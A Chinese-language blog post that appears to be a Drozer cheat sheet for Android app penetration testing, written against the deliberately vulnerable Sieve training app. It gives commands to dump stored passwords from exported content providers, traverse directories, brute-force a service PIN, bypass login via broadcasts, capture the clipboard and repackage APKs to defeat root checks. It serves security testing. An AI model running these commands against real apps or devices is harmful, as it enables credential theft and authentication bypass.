使用Drozer安卓调试手册
欢颜 移动安全 6473浏览 · 2021-12-07 12:54
  • 1、使用工具以及环境
    Win10
    夜神模拟器:
    python2
    adb
    drozer
    agent.apk
  • 2、工具安装

Python2和adb需要设置环境变量

Drozer需安装在python2的Scripts目录下

把agent.apk安装到模拟器下

  • 3、启动环境
    打开agent.apk进行监听

使用命令adb devices找到我们的模拟器设备

(如果找不到设备,则需要在模拟器bin的目录下启动cmd)

因devices 31415端口,使用adb进行端口转发
adb forward tcp:31415 tcp:31415

adb shell pm list package 查看所有包名

启动

drozer console connect

set PYTHONIOENCODING=UTF-8
run app.package.list
run app.package.list -f 包名

获取基本信息run app.package.info -a 包名

查看四大组件攻击面

利用暴露的activity实现登陆绕过
首先使用drozdr检测app中暴露的activity
run scanner.provider.finduris -a 包名,这里可以看到暴露的主件还是有不少:
调用服务组件: run app.service.start --action 服务名 --component 包名 服务名
调用activity组件: run app.activity.start --component 包名 组件名,可以用来检测登陆绕过漏洞

检测注入 run scanner.provider.injection -a com.mwr.example.sieve
查看是否存在数据泄露 run scanner.provider.finduris -a com.xxx.xzxx
检测目录遍历 run scanner.provider.traversal -a com.mwr.example.sieve

检测可以访问的URL: run scanner.provider.finduris -a 包名
查询URL的数据: run app.provider.query url

检测有没有拒绝服务漏洞:
发送空action: run app.broadcast.send --component 包名 广播名
发送空extras: run app.broadcast.send --action 广播名

  • 基本测试命令:

  • 查找已安装应用程序的包名称
    dz> run app.package.list -f Sieve

  • 获取应用程序的清单
    dz> run app.package.manifest com.mwr.example.sieve
  • 获取攻击面
    dz> run app.package.attacksurface com.mwr.example.sieve
  • 检查导出的活动
    dz> run app.activity.info -a com.mwr.example.sieve
  • 检查启动意图(主要活动)
    dz> run app.package.launchintent com.mwr.example.sieve
  • 调用导出的活动
    dz> run app.activity.start --component <package_name> <full_activity_name></full_activity_name></package_name>
  • 检查导出的内容提供者
    dz> run app.provider.info -a com.mwr.example.sieve
  • 查找内容 URI
    dz> run app.provider.finduri com.mwr.example.sieve
  • 如果在导出的内容提供程序中找到了 URI 路径,则使用以下命令运行该路径以查找任何有用的数据,(在筛选中,所有密码都被转储)
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
  • 将条目插入内容提供商数据库
    dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com
  • 查找具有特定权限的应用
    dz> run app.package.list -p android.permission.INSTALL_PACKAGES
  • 查找使用特定 UID 运行的应用程序,在本例中为 System
    dz> run app.package.list -u 1000
  • 查找应用程序以查看特定的 MIME 类型
    dz> run app.activity.forintent --action android.intent.action.VIEW --mimetype application/pdf
  • 查找设备上的所有可浏览活动
    dz> run scanner.activity.browsable
  • 遍历

  • 使用内容提供程序读取外部文件
    dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts

  • 目录遍历以读取/sieve 中的数据库
    dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db >database.db
  • 自动化遍历
    dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.FileBackupProvider

  • 利用服务

  • 获取服务
    dz> run app.service.info -a com.mwr.example.sieve
  • 利用sieve中的handleMessage()函数(AuthService服务的代码分析)
    dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
    在上面的请求中,PIN 1337可以被暴力破解。
    请参阅 MAHH 第 211 页。
  • 利用 CryptoService 加密消息dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj

  • 利用广播接收器

  • 获取广播接收器
    dz> run app.broadcast.info -a com.mwr.example.browser

  • 如果应用程序希望广播接收器捕获意图,然后显示经过身份验证的活动,则只有在登录后才能生成该广播。但是在代码审查之后,攻击者可以使用 drozer 手动发送该意图。
    示例广播接收器:
    <receiver android:name=".LoginReceiver"
    android:exported="true">
    <intent-filter>
    <action android:name="com.myapp.CORRECT_CREDS" />
    </intent-filter>
    </receiver>
    dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
    (第 217 页 - MAHH)</intent-filter>
  • 使用广播接收器的意图嗅探/捕获意图,这些接收器用于其他广播接收器
    dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED

dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN(发送广播的动作名称)

  • 其他命令

  • 使用 drozer 模块查找 WebView 是否可利用
    dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js

  • 代码执行

  • 从剪贴板查看复制的文本
    dz> run post.capture.clipboard
    2.查看app是否允许备份数据
    dz> run app.package.backup -f com.mwr.example.sieve

  • 确定一个包是否可调试
    dz> run app.package.debuggable -f sieve
    如果它是可调试的,您可以作为该应用程序运行命令
    shell@android:/ $ run-as com.mwr.example.sieve
  • 反编译/编译/签名apk

  • 使用 apktool 将应用程序转换为 baksmali
    $ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck

  • 然后 grep 像“su”这样的字符串绕过根检查(发挥你的创造力)
  • 再次编译应用程序:
    $ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
  • 签署 apk:
    $ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystoremykey.keystore rootcheck-modified.apk alias_name
    注意:使用 jarsigner v1.6,更改版本为
    $ sudo update-alternatives --config jarsigner

安装包签名

在Android中,包名相同的两个APK会被认为是同一个应用。当新版本覆盖旧版本时,签名证书必须一致,否则会被拒绝安装(即使开启了“允许未知来源的应用”)。如果APK没有使用自己的证书进行签名,将会失去对版本管理的主动权。本项检测是检测客户端是否经过恰当签名(正常情况下应用都应该是签名的,否则无法安装),签名是否符合规范。

测试步骤

打开cmd,进入到JDK的安装路径,C:\Program Files\Java\jdk1.8.0_111\bin,输入命令:
jarsigner.exe -verify APK文件路径
测试结果如下:

如上图,如果证书指纹与客户一致,说明测试结果为安全。

检测签名的字段是否正确标示客户端程序的来源和发布者身份,输入命令:
jarsigner.exe -verify -verbose -certs APK文件路径,若各个字段与预期的一致,则测试通过。

要说明的是,只有在使用直接客户的证书签名时,才认为安全。Debug证书、第三方(如开发方)证书等均认为存在风险。

manifest package
ApkAnalyser-敏感信息

一键提取安卓应用中可能存在的敏感信息

劫持检测:
HijackActivity

二次打包:

应用数据任意备份风险

allowBackup值设为true

应用程序调试风险

allowBackup值设为true

二次签名漏洞

首先删除应用本身的签名,接着使用另外的签名对应用进行重签名。安装并打开重新签名后的app,过程中未发生错误

边信道信息泄漏

观察日志,泄露敏感信息
adb logcat

代码反编译机制缺陷

将应用反编译成java代码,可进行代码注入、利用木马程序对应用进行恶意篡改行为。

1 条评论
某人
表情
可输入 255
目录